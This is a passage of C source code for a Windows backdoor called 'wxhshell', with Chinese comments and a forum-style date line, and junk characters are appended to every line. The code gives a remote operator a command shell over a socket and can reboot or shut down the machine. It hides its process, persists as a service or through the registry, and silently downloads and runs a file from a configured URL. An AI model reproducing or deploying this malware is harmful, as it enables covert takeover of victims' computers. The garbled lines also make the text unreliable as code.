    switch(cmd[0]) { +`wr{kB$~  
  )/DN>rU  
  // 帮助 k0=!%f_G!  
  case '?': { 0qNmao4E_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +o4o!;E)  
    break; Wjq9f;  
  } ]Xa]a}[uE  
  // 安装 ;"IWm<]h;-  
  case 'i': { Uv[a ~'  
    if(Install()) ($`IHKF1.l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Ycz@Jn  
    else ;taZixOH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XdThl  
    break; 7#+Ih-&EQ  
    } ~Yc~_)hD  
  // 卸载 M887 Q'HSi  
  case 'r': { k-3;3Mq  
    if(Uninstall()) aNKw.S>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yNfj-wM  
    else *JX$5bZsI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Qda|  
    break; N LpKh1g  
    } l=9D!6 4  
  // 显示 wxhshell 所在路径 |)To 0Z  
  case 'p': { b+:mV7eX  
    char svExeFile[MAX_PATH]; V<|N}8{Z2a  
    strcpy(svExeFile,"\n\r"); pSC{0Y$g  
      strcat(svExeFile,ExeFile); ~rO&Y{aG#  
        send(wsh,svExeFile,strlen(svExeFile),0); <w}i  
    break; N)cODy([  
    } u q 9mq"  
  // 重启 <<S4l~"o  
  case 'b': { cd,'37pZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cHr]{@7Cs  
    if(Boot(REBOOT)) YIW9z{rrs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XsJ`x  
    else { d(t)8k$  
    closesocket(wsh); }N -UlL(  
    ExitThread(0); ;p*L(8<YI  
    } p&Nav,9x  
    break; +&"W:Le:  
    } &u|t{C#0  
  // 关机 = .S2gO >  
  case 'd': { 2u_=i$xW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gYbvCs8O!  
    if(Boot(SHUTDOWN)) _5n2'\] H`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FEhBhv|m  
    else { rMWvW(@@D  
    closesocket(wsh); o/,%rA4  
    ExitThread(0); 74 ptd,  
    } 0P$19T N  
    break; XdIno}pN  
    } \I i# R  
  // 获取shell $#e}9g.  
  case 's': { (421$w,B%  
    CmdShell(wsh); M6cybEk`  
    closesocket(wsh); n5xG4.#G  
    ExitThread(0); anz7ae&P'K  
    break; `::j\3B&Y-  
  } Us "G X_  
  // 退出 Ap\]v2G  
  case 'x': { 3@eI? (N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~7}no}7  
    CloseIt(wsh); sR PQr ?  
    break; _d~GY,WTdO  
    } |:(BI5&S  
  // 离开 k(>J?\iNW  
  case 'q': { PNLlJlYlP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 24InwR|^  
    closesocket(wsh); OdyL j  
    WSACleanup();  A|IPQ=  
    exit(1); ~qb?#IY]`  
    break; D.AiqO<z  
        } wMF1HT<*  
  } $(J)F-DB i  
  } Qh3+4nLFtb  
ZPM7R3%V)z  
  // 提示信息 T5pc%%q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2mj>,kS?c  
} |OF3J,q  
  } bU}!bol  
jj ` 0w@  
  return; T2W^4)  
} -=rGN"(M _  
/s)It  
// shell模块句柄 )`5-rm~*  
int CmdShell(SOCKET sock) ;ACeY  
{ {QK9pZB  
STARTUPINFO si; 4b yh,t  
ZeroMemory(&si,sizeof(si)); w\t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .*FlB>1jy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /%?bO-  
PROCESS_INFORMATION ProcessInfo; >)+U^V  
char cmdline[]="cmd"; uTbMp~cYB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (o6 u ^#6  
  return 0; W#b++}S  
} mMhe,8E&  
_;(Q MeR  
// 自身启动模式 3joMtRB>;  
int StartFromService(void) \hzx?  
{ 3_VWtGQ  
typedef struct qj*BV  
{ /e*<-a  
  DWORD ExitStatus; z9#jXC#OdN  
  DWORD PebBaseAddress; f}FJR6VO  
  DWORD AffinityMask; R<h0RKiM@  
  DWORD BasePriority; OK}8BY  
  ULONG UniqueProcessId; gJOswN;([  
  ULONG InheritedFromUniqueProcessId; U8g?   
}   PROCESS_BASIC_INFORMATION; q|D*H9[ke  
mW_A 3S5  
PROCNTQSIP NtQueryInformationProcess; Q%GLT,f1.  
1nLFtiki  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C$c.(5/O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^n]?!BdU  
1^;&?E  
  HANDLE             hProcess; m} =<@b:l  
  PROCESS_BASIC_INFORMATION pbi; +fIy eX  
S 1Ji\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 gRR  
  if(NULL == hInst ) return 0; .fW`/BXE  
zgpPu4t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VKrKA71Z~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z3T26Uk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7xT<|3 I  
p@znmn-  
  if (!NtQueryInformationProcess) return 0; D3 E!jQ1  
2gjA>ET`N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p7O4CP>9[  
  if(!hProcess) return 0; `Sj8<O}  
naB[0I& N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =WP}RZ{S  
XlNB9\"5  
  CloseHandle(hProcess); s*}d`"YvH  
0$49X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b}G +7B  
if(hProcess==NULL) return 0; ]7"mt2Q=3  
&jPsdv h  
HMODULE hMod; gzdgnF2  
char procName[255]; 8|Y^z_C  
unsigned long cbNeeded; IPE(  
17qrBG-/MD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %s)E}cGH  
<$9AP  
  CloseHandle(hProcess); -XY]WWlq  
S"Zs'7dy`  
if(strstr(procName,"services")) return 1; // 以服务启动 /ci.IT$Q^  
p-/x Md  
  return 0; // 注册表启动 uTJ?@ ^nq  
} en~(XE1  
eZJOI1wNp  
// 主模块 i|d41u;@  
int StartWxhshell(LPSTR lpCmdLine)  y.eBFf  
{ ;NPb  
  SOCKET wsl; %r,2ZLZ  
BOOL val=TRUE; hQ8{ A7  
  int port=0; >\p}UPx  
  struct sockaddr_in door; ,!py n<_  
=O _[9kuJ  
  if(wscfg.ws_autoins) Install(); 02S(9^=  
2Uk8{d  
port=atoi(lpCmdLine); <*5D0q#~"  
3 \WdA$Wx  
if(port<=0) port=wscfg.ws_port; >) :d38M  
bo"I:)n;  
  WSADATA data; Tp6ysjao  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; },L[bDOV07  
f!I e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r#~6FpFVK^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `4p9K  
  door.sin_family = AF_INET; BzUx@,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lJ,s}l7  
  door.sin_port = htons(port); |O+binq  
\%^3Izsc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LOYv%9$0*p  
closesocket(wsl); / q!&I  
return 1; @<sP1`1  
} Z,&ywMm/G  
5LK>n-  
  if(listen(wsl,2) == INVALID_SOCKET) { ]- `{kX  
closesocket(wsl); =f p(hX"  
return 1; tw')2UGg  
} MdfkC6P  
  Wxhshell(wsl); 6a!X`%N=  
  WSACleanup(); VEZ/-s/  
0\o'd\  
return 0; ?k?Hp:8?=  
s`2o\]  
} 87/{\h  
ZqGq%8\.s  
// 以NT服务方式启动 S9BJjo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n(+:l'#HJ  
{ pVY.&XBZ$  
DWORD   status = 0; 5VcYdu3  
  DWORD   specificError = 0xfffffff; ']NM_0  
$_UF9 l0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /4 f;Niem  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i\'N1S<D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #>V;ZV5"  
  serviceStatus.dwWin32ExitCode     = 0; _ 8>"&1n  
  serviceStatus.dwServiceSpecificExitCode = 0; w$!n8A qs  
  serviceStatus.dwCheckPoint       = 0; wDG4rN9x  
  serviceStatus.dwWaitHint       = 0; KKzvoc?Bt  
'huLv(Uu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RPWYm  
  if (hServiceStatusHandle==0) return; / u{r5`4  
"869n37  
status = GetLastError(); M@3H]t?  
  if (status!=NO_ERROR) zYNJF>^<  
{ U|QDV16f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |g{AD`  
    serviceStatus.dwCheckPoint       = 0; 57}q'84  
    serviceStatus.dwWaitHint       = 0; >4E,_`3N  
    serviceStatus.dwWin32ExitCode     = status; z,EOyi  
    serviceStatus.dwServiceSpecificExitCode = specificError; !]nCeo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cG'Wh@  
    return; Ww~0k!8,t  
  } l9h;dI{6  
^s*} 0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )wRD  
  serviceStatus.dwCheckPoint       = 0; { 1+H\ (v  
  serviceStatus.dwWaitHint       = 0; FRW.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8FITcK^  
} UTt#ltun?  
Id0F2  [  
// 处理NT服务事件,比如:启动、停止 ;a`X|N9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ao!r6:&v$e  
{ 5  $J  
switch(fdwControl) @6SSk=9_S  
{ F8I <4S  
case SERVICE_CONTROL_STOP: @n(In$  
  serviceStatus.dwWin32ExitCode = 0; ^q` *!B 9@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vmc)or*#  
  serviceStatus.dwCheckPoint   = 0; $%-?S]6)  
  serviceStatus.dwWaitHint     = 0; Ymu=G3-  
  { 11sW$@xs 9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $\ '\@3o  
  } p3o?_ !Z  
  return; _u>>+6,p  
case SERVICE_CONTROL_PAUSE: |*5nr5c_L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4#w^PM8}  
  break; qu%s 7+  
case SERVICE_CONTROL_CONTINUE: kR ]SxG9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2cg z n@  
  break; ,Mc 2dhq  
case SERVICE_CONTROL_INTERROGATE: Mm!saKT%  
  break; 8E+l; 2  
}; p rgjU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3@L%#]xwi  
} Cs{f'I  
h~p}08  
// 标准应用程序主函数 jHCKV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rzHa&:Y  
{ Fe .*O`  
}TW=eu~  
// 获取操作系统版本 s_LSs yqo  
OsIsNt=GetOsVer(); A\)X&vR[6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3#[I _  
MV}]i@ V  
  // 从命令行安装 `%3p.~>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ErC[Zh"''  
Cj+=9Dc  
  // 下载执行文件 ~~,<+X:  
if(wscfg.ws_downexe) { >lmL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P1n@E*~V5  
  WinExec(wscfg.ws_filenam,SW_HIDE); Uj)]nJX  
} iurB8~Y  
}i:'f 2/  
if(!OsIsNt) { VHCzlg  
// 如果时win9x,隐藏进程并且设置为注册表启动 h6i{5\7.  
HideProc(); Rjl__90  
StartWxhshell(lpCmdLine); :F=nb+HZ  
} H)Ge#=;ckQ  
else P;&p[[7  
  if(StartFromService()) N~jQ!y  
  // 以服务方式启动 5nAF=Bj  
  StartServiceCtrlDispatcher(DispatchTable); [ )~@NN  
else )g _zPt  
  // 普通方式启动 ^E17_9?  
  StartWxhshell(lpCmdLine); ,IE0+!I  
,v_r$kh^  
return 0; Y;Gm,  
}
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只看该作者 1 发表于: 2006-10-10
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